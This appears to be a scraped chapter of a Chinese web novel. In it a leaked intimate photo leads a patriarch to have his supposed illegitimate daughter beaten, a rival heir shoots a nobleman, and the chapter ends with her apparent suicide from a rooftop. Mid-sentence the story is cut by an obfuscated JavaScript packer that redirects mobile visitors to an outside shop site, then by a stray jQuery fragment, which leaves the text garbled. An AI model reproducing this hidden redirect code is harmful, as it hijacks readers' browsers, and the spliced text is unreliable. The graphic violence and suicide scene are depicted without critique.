约翰闻言变了脸色。
他猛的抓住了奴隶的衣领,吓得那奴隶梗起了脖子。
“原因!”
路“好……好……好像是……外……外面在传您和塞尔小姐私底下……”
“私底下……私底下……”
后面的话他半天也说不出来,怕约翰听见了生气。
可他却只是烦躁的太阳穴冒起了青筋。
“说快点!再说不清楚就不用活了!”
“是是是是是,是在传您和塞尔小姐私底下有不正当的关系。”
“有有人讲得绘声绘色的,说说说是亲眼看见了!”
“还,还有监控的照片,上……上面是是……是您和塞尔小姐都……都没穿衣服的样子。”
那奴隶吓得让语速快了起来,可依旧抵挡不了害怕,说话结结巴巴。
尽管是这样,约翰也听清楚了。
在听到有他和塞尔那个时候的监控截图时,他顿时就僵在了原地。
整个人瞬间如置身冰窖。
“怎么会……怎么会……怎么会呢……”
几乎是第一时间,他反射性的回头。
想要看看她有没有听见这个奴隶的话。
想要看看,她有没有被这些话吓到。
而在看到她眼角的热泪划过脸颊时,他心乱了。
他一遍又一遍的怀疑着,那栋别墅里根本就不可能有什么监控。
可事实是,如果没有确凿的证据传出去。
安德烈不会气势汹汹的带着奴隶往这边赶,并扬言要打死塞尔。
“塞尔……”
他嘴唇轻颤,发觉自己这时,说什么都是徒劳,说什么都显得无力。
他才向她保证了,这些事不会传出去。
可转眼,这些原本不可能被任何人知道的消息,却迅速传遍了樊城。
他已经没有精力去思考这是不是有心人谋划的一场大阴谋了。
他只知道,他不知道要拿塞尔怎么办了,他不知道要怎么去安慰她了。
“主人!老爷来了!”
没过多久。
安德烈果然过来了。
他坐在马车上,奴隶在前面拉着走。
跟在他身后的,是十几个身强力壮的男奴隶。
他们手里整齐的拿着成年男子手臂粗细的棍子。
他知道,安德烈这是用来教训塞尔的。
“约翰!!!!你看看你做的什么事!!我早就让你离她远点!”
随着安德烈恨铁不成钢的怒骂,一张清晰的监控截图被甩在了他脸上。
他慌忙拿下,看清了上面的画面。
这个角度,正好照到了女人的全脸,和他清晰的侧脸。
女人半眯着眼,额发被汗水侵湿,湿哒哒的搭在额间。
其余发丝随着她仰头的弧度尽数甩在空中,形成一个极尽完美的弧度。
而他,神情微皱,似是有些痛苦,抓着腰间细腿的那只手青筋暴起。
看着这样的画面,他已经能想象到,外面那些人会怎么说塞尔了。
而她,在这张图传遍樊城之后,又该如何自处?
“所有的事情,都是我逼塞尔做的,父亲,我清楚我自己在做什么,但她什么也不知道,是我……”
说到最后这句话,他顿感羞耻。
“是我找了女巫,对她用了见不得光的手段。”
“在所有的事情中,错的都是我,是我害了她。”
“父亲如果要打的话,就算打死我,我也不会埋怨半分,只希望父亲善待塞尔,不管怎么样,她也是您的孩子。”
在安德烈不可置信的眼神下,他跪了下去。
“约翰,你真是要气死我!为了一个女人!你居然做到这种地步!你到底在想什么!”
“父亲!”
他有些愤怒的打断了安德烈的话。
“她是您的女儿啊!她明明是和格瑞丝一样的存在,可是您!为什么总是要这么偏心啊!”
“我们所有人都欠她的!难道您不知道吗!”
他的怒吼让安德烈一时之间愣了。
这个从小在他面前守礼听话的好孩子。
现在,为了一个外人,疯魔到了这种地步。
“你……那你告诉我!你有没有把她当做妹妹!”
“你们两个,又做了什么?约翰,你明明知道她是妹妹你还……”
安德烈清楚的知道眼前这个塞尔根本就不是他的孩子,也不是约翰的妹妹。
所以他根本就不担心两人之间的行为是不是不合理,是不是不受世俗待见。
令他震惊的,令他生气的是约翰明明清醒的觉得,她是妹妹,却还是对她做了那种事。
甚至不惜代价,使用了手段,请了女巫。
为了一个女人沦陷到这种地步,这该是多么可怕的一件事。
他当初就不应该同意这个女人当他的私生女!
”是!我就是对她有了不该有的想法!父亲,我要娶她。”
“你说什么?”
“我说,我要娶她。”
在他抬头,眼神坚定的时候,安德烈终是没忍住,抬手狠狠扇了他一巴掌。
“把她给我带出去把这个勾引人的东西带出来打死!”
约翰的反应让安德烈气急了。
他简直不敢相信,自己精心培养的家族继承人,居然这么轻易的,就被一个女人给毁了。
这突然的变故也是约翰没想到的,可是现在,瓦尔德克家族的主人,终究还是安德烈。
他终究还只是一个没有继位的少爷,无论怎样,安德烈的话语权都是比他大的。
在那些奴隶快要碰到塞尔的时候,他随手拿过花瓶,往那个奴隶的头上打了下去。
“塞尔别怕!哥哥保护你!”
他踉跄着跑到她面前,紧紧将她护在了身后。
怕她会害怕,又将她死死的抱在了怀中。
可怀中抱的,并不是一直可怜的小猫,而是狡猾的狐狸。
“主人,这……这就是外面流传的图。”
“现在樊城人人都在议论塞尔小姐,而我们的人在刚刚得知,塞尔小姐已经回去了,安德烈先生也带人过去说是……”
“要清理门户了。”
他接过阿达手中的图,盯着看了很久。
照片中,女人不着一l,重要的部分被约翰的身躯挡住了。
可这样露骨的照片,却仍是能看到她的身躯是有多完美。
几乎是第一时间,他对这个完美的身躯,产生了熟悉感。
不多时,他气吐了血。
“主……主人?
“备车。”
“……是。”
这个世界上,没有人比他更熟悉那个女人的身体。
每一寸,每一寸……他都深深的记在了脑海里。
就算脸不一样,他却也是一样认出来了。
不是她……又是谁呢?
“哟!亚斯先生也是往约翰那边赶呢?”
“该不会,你也看上了那个女人的身材吧?”
路上的时候,恰巧碰上卢卡一行人。
他拦下了他们的车队,猥琐的摸着下巴,说着让阿达心惊胆战的话。
“啧,要是你也看上了,这可不好办。”
“毕竟我们这些人可都是冲着那个女人去的。”
“没想到外表长得不怎么样,这身材还真他娘的带劲。”
“我玩过这么多女人,可还第一次见这样完美的。”
“烧是烧了点,可在床上带感啊!”
“亚斯,你这去了,吃肉的同时,怎么着也得给我们喝口汤吧?”
“这样的女人,谁不想玩呢?老子要让她在床……”
“砰”的一声,上一刻还说着污言秽语的卢卡,下一秒脑袋就被开了口子,躺在了血泊里。
他面无表情的收回枪,用手帕细细的擦着枪口。
全过程,从掏枪上膛到开枪杀人,他只用了不到一分钟的时间。
而从车窗看进去,后座的那个男人,却冷漠得仿佛什么都什么发生过一样。
“亚斯!你,你这也太猖狂了!樊城可不是你一家独大!”
“就算你,你是五大家族的继承人,你也不能这样随意杀人吧!”
和卢卡走在一起的,大都是樊城底层的贵族。
地位虽然没有亚斯高,可好歹也是个贵族。
在樊城也算是有头有脸的人物,平时大家都是井水不犯河水。
只是他们没想到,亚斯现在这么猖狂,居然随随便便都敢开枪打死一个贵族。
他们也并不是为卢卡抱不平,只是担心,自己会成为下一个枪下亡魂。
“怎么,你也有意见?”
“你!亚斯!樊城几百年来都奉承着和谐共处,你今天杀了卢卡,你就是在违反约定!”
“就算你是五大家族之一的继承人,你也必须要给个说法!”
“是吗?可我只觉得他活该。”
他说着,再次举枪,对着那已经咽气的尸体又连连开了几枪。
争论那人被吓得不轻,踉跄后退几步,被奴隶搀扶着才能站稳。
“或许你也想?”
他双眼猩红,眼底参杂着红血丝,看起来骇人不已。
“你!”
“疯子!你就等着大家的反抗吧!”
见那人怂得不敢上前。
他收回了眼神,敲了敲座椅。
“走。”
“……是。”
直到走了很远,阿达才犹豫着,瞥了瞥亚斯。
“主人,那个卢卡再怎么说,也是樊城的贵族,也是个有头有脸的人物。”
“您这样把他杀了,恐怕……”
距离约翰的城堡还有些距离。
他靠在座椅上,有些烦躁的闭了眼睛。
脑海中尽是她同约翰欢好的画面。
染染啊染染,你到底为什么要这么践踏自己。
“不该管的事别管。”
“……是。”
“哥哥,你不是说……事情不会传出去的吗?”
此刻的约翰,可谓是乱做了一团。
无数人妄图将他扯开,对塞尔实施惩罚。
他费力将她抱在怀中,察觉到怀中的人一点点被抽走之际。
她流着泪,默默的问了他这一句。
他慌了,他慌了,抢过短刀就开始乱砍。
“放开她!!你们放开她!!父亲,你不能这么对她!你不能杀她!她是你的女儿!你不能!”
“把他绑起来,真是逆子!”
“你简直丢尽了瓦尔德克家族的脸!”
“你知不知道,这件事会给我们家族带来多大的影响!今天这个妖女必须死!”
妖女?
被好几个强壮奴隶抓着的塞尔淡淡的笑了笑。
真是有意思,她众多的外号里,又多了一个妖女。
“不准!!不准动她!!安德烈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710941|208297||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!!”
这个时候,他终于体会到,权势是有多么重要。
也终于体会到,被人压制的无奈感了。
塞尔站在一旁,淡淡的看着他因无力反抗而发疯发狂。
约翰,体会到当初阿文的无力了吗?体会到他当初的绝望了吗?
好好感受吧,这是我送你的礼物。
“混账东西!!你真是要气死我!”
情急之下,他竟是叫了自己父亲的名字。
安德烈气急,一巴掌扇了下去。
与此同时,他也被结结实实的绑了起来。
这个时候,他只能眼睁睁的看着她慌乱害怕的被那些人押住。
无尽的后悔自他心头蔓延开。
见他心痛不已,安德烈转身拿过奴隶手中的棍子,一棍子朝塞尔身上打下去。
“嗯……哥哥……哥哥救我……”
那棍子也不知道是什么材质的。
一棍子下去就皮开肉绽,见了血。
她细嫩的手臂上,顿时就破开一道可怖的口子。
他疯狂的挣扎着,那架势像是要挣脱绳子上前把安德烈给杀了!
可他越是在乎,越是反抗激烈,安德烈就越是不可能留塞尔。
一个完美的继承人,不允许有任何弱点。
“拿着你们的棍子,把这个女人打死!”
不过片刻,她就被一下接着一下的棍棒打倒在底,爬都爬不起来。
转眼间,光滑的地板上就蔓延开艳丽的血。
“啊!!!!不要!!不要!!我错了!我错了父亲!”
“你放过她!!父亲!!她要是死了,我也绝不活着!!”
“那你也跟着一起死吧!”
安德烈也气急,说出了气话。
可实际上,他怎么会让约翰死。
他有一万种方法来吊着他的命。
一个女人而已,最多伤心几个月,几个月之后,他依旧是那个出色的继承人。
而塞尔这个污点,将会永远消失在这个世界上。
棍棒一下比一下更重,最终,听从塞尔吩咐躲在暗处的希伯还是没忍住,冲动冲了出来。
“塞尔小姐!”
看着那满地的血,他心里只觉得心疼。
于是,在大家都毫无防备的时候,撑着双手,趴在她身上,替她捱着。
突然之间,那接连的疼痛感消失了一瞬,她惊讶回头,就见希伯对她笑了笑。
外面传来了吵闹声,她猜测是有其他人闯进了这里,如果再不走,就来不及了。
在那些奴隶还没从这个变故反应过来时,她从希伯身下钻出,往楼顶跑去。
“塞尔!!!!”
“抓住她!快抓住她!”
“主人,塞尔小姐往楼顶跑了!”
她爬上了房顶,吹着这难得的凉风,看向了那些慌张追上来的人。
塞尔这个身份,会这么早下线,也在她的意料之外。
但显然,亚斯那边也由不得她犹豫了。
不出意外的话,他知道她是云听染了。
原来,今天来的是亚斯啊。
原来,她的报复这么成功啊,让亚斯对她念念不忘到了今天。
“塞尔……塞尔!!!”
见她往楼顶跑时,他慌乱不已,趁着安德烈不在,逼迫着奴隶给自己解开了绳子。
他跑得快,好几次磕到楼梯上,把膝盖都磕出了血。
而当他看到满身是血的塞尔站在楼顶最高处时,那种慌张心痛感快要把他杀死。
“哥哥……我没有选择了。”
“看吧,我早就说过的,我没有家的,为了你,父亲情愿把我杀死呢。”
“那样的图被传了出去,哥哥你觉得……我以后要怎么活下去呢?本来就是一个低贱的私生女,现在大家一定觉得我更不堪了吧……”
风吹起她的发丝,那张苍白的小脸此刻显得好脆弱啊。
她站得那么高,好像风一吹就会倒。
而她说的话,更是像刀子一样一刀一刀扎在他心头。
“塞尔!塞尔!你下来!哥哥错了!哥哥错了……”
他害怕失去她,害怕得跪在了地上,祈求她的原谅。
高楼之下,亚斯抬头,看着那抹站在楼顶的身影。
他们的距离好像永远都是这样,看起来触手可及,实际上无论他走多快,却总是跟不上她的步伐。
他没叫她,只是沉默的抬头看着她,看着那抹他这辈子再也无法触及的身影,企图将她刻在脑海。
云听染,你以为你这样就能逃了吗?可我还是找到你了。
可是你这个没有良心的小东西,怎么总是让我这么难过啊。
“塞尔小姐!!你下来吧!塞尔小姐!上面危险啊!”
她一步一步往后面退,听到阿达的声音时,回头望了一眼。
然后,她不仅看到了亚斯,还看到了她那个,多年未见的母亲。
只可惜,她看自己的眼神,依旧像个陌生人。
哦不,她现在是塞尔,她本来,就是个陌生人。
啧,没人爱的孩子真可怜。
“塞尔!!塞尔别动!你下来!你别动啊!!”
“塞尔!哥哥错了……哥哥真的错了……”
她厌倦了。
所以一步一步的往后退,一步……一步……
直到半只脚悬浮在空中的时候,她突然觉得,好自由。
“塞尔!……塞尔!”